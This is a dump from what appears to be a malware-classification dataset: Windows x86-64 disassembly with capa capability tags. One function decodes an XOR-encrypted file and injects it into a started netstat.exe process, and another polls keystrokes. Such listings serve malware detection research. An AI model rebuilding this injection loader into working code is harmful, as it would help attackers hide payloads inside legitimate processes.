joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180045420
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x1800586bc]
mov ebx, edi
test ecx, ecx
je 0x18004555b
mov rax, qword [0x1800586b0]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180045478
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180045450
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x18004555b
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.180045140
mov r8d, dword [0x1800586bc]
cmp ebx, r8d
jae 0x1800454e8
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x1800586b0]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x1800454e1
mov edx, esi
mov ecx, ebx
call fcn.1800452f0
mov edi, eax
test eax, eax
jne 0x1800454e8
mov r8d, dword [0x1800586bc]
inc ebx
cmp ebx, r8d
jb 0x1800454b0
cmp qword [rsp + 0x20], 0
je 0x18004555b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180045547
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180045538
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180045510
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180058480]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1800458f0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x18005844c], ebp
je 0x180045947
cmp rbx, 0x20
jae 0x180045930
xor ecx, ecx
jmp 0x180045932
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x18005844c], ebp
jne 0x180045926
cmp qword [0x180058480], r15
je 0x180045a41
test rdi, rdi
jne 0x180045967
mov ecx, esi
call fcn.180045420
mov ebp, eax
jmp 0x180045a46
mov ecx, dword [0x1800586bc]
mov ebx, r15d
test ecx, ecx
je 0x18004598f
mov r8, qword [0x1800586b0]
mov rax, r8
nop
cmp rdi, qword [rax]
je 0x180045999
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180045980
mov ebp, 4
jmp 0x180045a46
cmp ebx, 0xffffffff
je 0x18004598f
mov eax, ebx
imul rdx, rax, 0x38
movzx eax, byte [rdx + r8 + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x180045a38
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180045140
mov edx, esi
mov ecx, ebx
call fcn.1800452f0
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x180045a46
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180045a22
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180045a18
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x1800459f0
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180058480]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180045a46
neg esi
sbb ebp, ebp
add ebp, 6
jmp 0x180045a46
mov ebp, 2
xchg dword [0x18005844c], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x140001000
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0xf68b0
call fcn.140006840
sub rsp, rax
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0xf68a0], rax
xor ebp, ebp
lea rcx, str.C:ProgramDatalent_Installi.html
xor r9d, r9d
mov qword [rsp + 0x30], rbp
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r9, [rsp + 0x50]
lea rdx, [rsp + 0xe0]
mov rcx, rbx
mov r8d, eax
mov dword [rsp + 0x50], ebp
mov edi, eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test edi, edi
je 0x1400010ac
lea rcx, [rsp + 0xe0]
mov rax, rdi
nop
xor byte [rcx], 0xe7
inc rcx
sub rax, 1
jne 0x1400010a0
xor edx, edx
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x70], ebp
lea r8d, [rdx + 0x60]
call fcn.140004f10
xor eax, eax
lea rcx, str.C:WindowsSystem32_netstat.exe
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebp
mov qword [rsp + 0x58], rbp
call qword [0x14000be28]
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
lea r8, [rsp + 0xe0]
mov rcx, rdi
mov r9d, 0x1000
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [0x14000be40]
lea r8, [rsp + 0xe0]
mov r9d, 0xf67c0
mov rcx, rdi
mov rdx, rax
mov rbx, rax
mov qword [rsp + 0x20], rbp
call qword [0x14000be30]
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [0x14000be20]
mov rcx, rsi
call qword [0x14000be38]
xor eax, eax
mov rcx, qword [rsp + 0xf68a0]
xor rcx, rsp
call fcn.1400011e0
lea r11, [rsp + 0xf68b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140007030
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x2b0
mov rax, qword [0x140086a00]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rsi, r8
mov rdi, rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x20], 1
xor r14d, r14d
mov qword [rdx], r14
mov qword [rdx + 8], r14
mov qword [rdx + 0x10], r14
mov dword [rsp + 0x20], 1
cmp qword [r8 + 0x10], r14
je 0x1400071d1
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400071c7
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], r14
lea rax, [rsp + 0x8c]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400070e1
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x38]
call fcn.140001c60
mov rax, rsi
cmp qword [rsi + 0x18], 7
jbe 0x14000710b
mov rax, qword [rsi]
lea r8, [rsp + 0x38]
mov r9, qword [rsp + 0x38]
mov r10, qword [rsp + 0x50]
cmp r10, 7
cmova r8, r9
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsi + 0x10]
jne 0x14000714d
test rdx, rdx
je 0x140007149
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x14000714d
add rax, 2
sub rdx, 1
jne 0x140007135
mov bl, 1
jmp 0x14000714f
xor bl, bl
cmp r10, 7
jbe 0x14000718a
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140007182
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007204
mov rcx, r9
call fcn.14004b55c
test bl, bl
je 0x1400071b2
mov rdx, qword [rdi + 8]
cmp rdx, qword [rdi + 0x10]
je 0x1400071a5
mov eax, dword [rsp + 0x68]
mov dword [rdx], eax
add qword [rdi + 8], 4
jmp 0x1400071b2
lea r8, [rsp + 0x68]
mov rcx, rdi
call fcn.140001d90
lea rdx, [rsp + 0x60]
mov rcx, rbp
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400070c0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rsi
call fcn.140003250
mov rax, rdi
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.14004b500
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
int3
Function at 0x140009a90
Capabilities:
Read .ini file

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf8
mov rax, qword [0x140086a00]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov rbx, r9
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x60], rbx
xor r15d, r15d
lea r12, [rsp + 0x138]
movabs r13, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov r14, qword [r12]
xor r14, r13
mov qword [rsp + 0x38], r14
mov qword [r12], r15
mov rax, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140009b12
mov rax, qword [rdx]
mov word [rsp + 0x6b], 0x4c
mov word [rsp + 0x68], 0x554e
mov byte [rsp + 0x6a], 0x4c
mov byte [rsp + 0x6d], 0
mov rdx, rbx
cmp qword [r9 + 0x18], 0xf
jbe 0x140009b37
mov rdx, qword [r9]
mov rcx, rdi
cmp qword [r8 + 0x18], 0xf
jbe 0x140009b44
mov rcx, qword [r8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x64
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009b80
lea rdx, [rsp + 0x70]
mov rcx, rbp
call fcn.140001b50
nop
xor r14, r13
mov qword [r12], r14
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140009bd9
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140009bd4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009c9d
mov rcx, r8
call fcn.14004b55c
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009c22
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009c1d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009ca4
mov rcx, r8
call fcn.14004b55c
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009c67
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140009c62
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009cab
mov rcx, r8
call fcn.14004b55c
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rax, rbp
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14004b500
add rsp, 0xf8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140009cc0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140086a00]
xor rax, rsp
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
mov rdi, rcx
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
mov rcx, qword [0x140086eb8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rcx, qword [0x140086eb8]
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rdx, qword [0x140086eb8]
lea rcx, [rsp + 0x38]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140009d4a
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_DispatchMessageA]
call fcn.140018e20
lea rcx, [rsp + 0x30]
mov rbx, rax
mov dword [rax + 0x10], 0x3c888889
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [rsp + 0x30]
mov ecx, 1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xf0], xmm0
movd xmm0, dword [rsp + 0x34]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xf4], xmm0
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140009db2
mov byte [rbx + 0xf8], 1
mov eax, dword [rbx + 0xf4]
mov dword [rbx + 0x2ac0], eax
mov byte [rbx + 0x2b10], 1
jmp 0x140009db9
mov byte [rbx + 0xf8], 0
mov rcx, qword [0x140086ea8]
xor r8d, r8d
cmp byte [0x14005f0c0], r8b
mov rax, qword [rcx]
je 0x140009dd6
mov edx, 1
jmp 0x140009dd8
xor edx, edx
call qword [rax + 0x40]
call fcn.14003d830
call fcn.14003e760
call fcn.14001f9c0
mov rcx, qword [0x140086c98]
call fcn.140003660
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140009e17
cmp byte [0x140086ec0], 0
sete al
mov byte [0x140086ec0], al
jmp 0x140009e1e
movzx eax, byte [0x140086ec0]
test al, al
je 0x140009e2a
mov rcx, rdi
call fcn.140009150
call fcn.1400215c0
mov rcx, qword [0x140086ea0]
lea r8, [0x140086eb0]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rsp + 0x68], xmm0
mov edx, 1
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
mov rcx, qword [0x140086ea0]
lea r8, [rsp + 0x68]
mov rdx, qword [0x140086eb0]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140018ab0
mov rcx, rax
call fcn.14003d870
cmp dword [rsp + 0x40], 0x12
jne 0x140009cf1
call fcn.14003e4e0
call fcn.14003ea70
xor ecx, ecx
call fcn.140016860
mov rcx, qword [0x140086eb8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov al, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14004b500
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret
Function at 0x140014400
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140086a00]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140086ed0]
mov edi, edx
mov esi, ecx
cmp byte [rbx + 0x4d6d], 0
jne 0x140014468
cmp byte [rbx + 0x4d6e], 0
jne 0x140014468
movsx r9d, word [rbx + 0x5ed8]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140019b80
test sil, 2
je 0x1400145a0
jmp 0x140014501
movss xmm1, dword [rbx + 0x39c4]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x14004ff64]
xor eax, eax
mov edx, 0x10
mulss xmm1, dword [0x14004ff4c]
addss xmm0, dword [rbx + 0xf8]
addss xmm1, dword [rbx + 0xfc]
or dword [rbx + 0x4a48], 1
mov qword [rbx + 0x4a60], rax
movss dword [rbx + 0x4a58], xmm0
mov dword [rbx + 0x4a4c], 1
movss dword [rbx + 0x4a5c], xmm1
movss xmm0, dword [rbx + 0x3a2c]
mov rax, qword [0x140086ed0]
mulss xmm0, dword [0x140051f50]
or dword [rax + 0x4a48], 0x40
movss dword [rax + 0x4aa8], xmm0
movsx r9d, word [rbx + 0x5ed8]
call fcn.140019b80
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140014551
lea r11, [0x1400501f0]
cmp r9b, 0x23
jne 0x140014534
cmp byte [r8], r9b
jne 0x140014534
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140014521
not ecx
call fcn.140018080
test rax, rax
je 0x1400145a0
cmp byte [rax + 0xbe], 0
je 0x1400145a0
mov byte [rax + 0xc3], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xc6], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xe4], 1
mov edx, 0x10
inc word [rbx + 0x5ed8]
movsx r9d, word [rbx + 0x5ed8]
call fcn.140019b80
or edi, 0x2030347
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
call fcn.1400115a0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14004b500
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140017fe0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140086ed0]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140018043
mov qword [rsp], rbx
lea rbx, [0x1400501f0]
nop dword [rax]
cmp r9b, 0x23
jne 0x140018023
cmp byte [r8], r9b
jne 0x140018023
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140018010
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5fa0]
not eax
mov r8, qword [r10 + 0x5fa8]
lea rdx, [rcx + rcx*8]
lea rcx, [r8 + rdx*8]
cmp r8, rcx
je 0x14001806f
cmp dword [r8 + 8], eax
je 0x140018076
add r8, 0x48
cmp r8, rcx
jne 0x140018060
xor eax, eax
add rsp, 8
ret
mov rax, r8
add rsp, 8
ret
Function at 0x140018100
Capabilities:
Hash data with crc32

Disassembly:
mov rax, rcx
mov r10d, 0xffffffff
mov ecx, r10d
movzx r9d, byte [rax]
lea r8, [rax + 1]
test r9b, r9b
je 0x140018150
lea r11, [0x1400501f0]
cmp r9b, 0x23
jne 0x140018133
cmp byte [r8], r9b
jne 0x140018133
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140018120
not ecx
jmp fcn.140018080

Function at 0x140018b00
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0x100]
lea r11, [0x1400501f0]
mov rax, qword [rcx + 0x108]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
sar eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
sar eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov eax, r10d
xor rdx, rcx
sar eax, 0x18
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x408c], ebx
jne 0x140018b9b
mov r8, r10
xor r9d, r9d
mov edx, 4
mov ecx, ebx
call fcn.140016080
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x140018c30
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
movss xmm0, dword [rcx + 0x120]
lea r10, [0x1400501f0]
mov rax, qword [rcx + 0x108]
movss xmm1, dword [rcx + 0x124]
movss xmm2, dword [rdx]
movss xmm4, dword [rdx + 8]
subss xmm2, xmm0
movss xmm3, dword [rdx + 4]
subss xmm4, xmm0
movss xmm0, dword [rdx + 0xc]
subss xmm3, xmm1
movsxd rcx, dword [rcx + 0x100]
subss xmm0, xmm1
movd r8d, xmm2
movss dword [rsp], xmm2
mov r9d, dword [rax + rcx*4 - 4]
movzx eax, byte [rsp]
not r9d
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
movss dword [rsp + 4], xmm3
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
movss dword [rsp + 8], xmm4
movss dword [rsp + 0xc], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 4]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm3
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 8]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm4
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0xc]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
shr r8, 0x18
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx edx, r9b
shr r9d, 8
xor r8, rdx
xor r9d, dword [r10 + r8*4]
not r9d
mov eax, r9d
add rsp, 0x18
ret
Function at 0x1400198a0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x20
movsxd rbp, r9d
mov r14, r8
test r8, r8
je 0x1400198bb
mov qword [r8], 0
call fcn.1400199c0
mov rbx, rax
test rax, rax
jne 0x1400198d1
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
mov qword [rsp + 0x40], rsi
mov rcx, rbx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x14001999b
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14001999b
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14001999b
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14001999b
cmp rdi, 0xffffffffffffffff
je 0x14001999b
lea rcx, [rdi + rbp]
call fcn.14001bc70
mov rsi, rax
test rax, rax
je 0x14001999b
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rdi
je 0x140019973
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call fcn.14001bd20
jmp 0x1400199a4
test ebp, ebp
jle 0x140019985
lea rcx, [rdi + rsi]
mov r8, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140019996
mov qword [r14], rdi
mov rax, rsi
jmp 0x1400199a6
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret

Function at 0x140019f10
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140019f6d
lea rbx, [0x1400501f0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140019f54
cmp r10, 2
jb 0x140019f54
cmp byte [r9], r8b
jne 0x140019f54
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140019f30
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140019faf
lea rbx, [0x1400501f0]
cmp r8b, 0x23
jne 0x140019f93
cmp byte [r9], r8b
jne 0x140019f93
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140019f80
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x14001bb60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x6030], 0
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
je 0x14001bbe3
xor edx, edx
add rcx, 0x6038
call fcn.14002acc0
mov r8, rsi
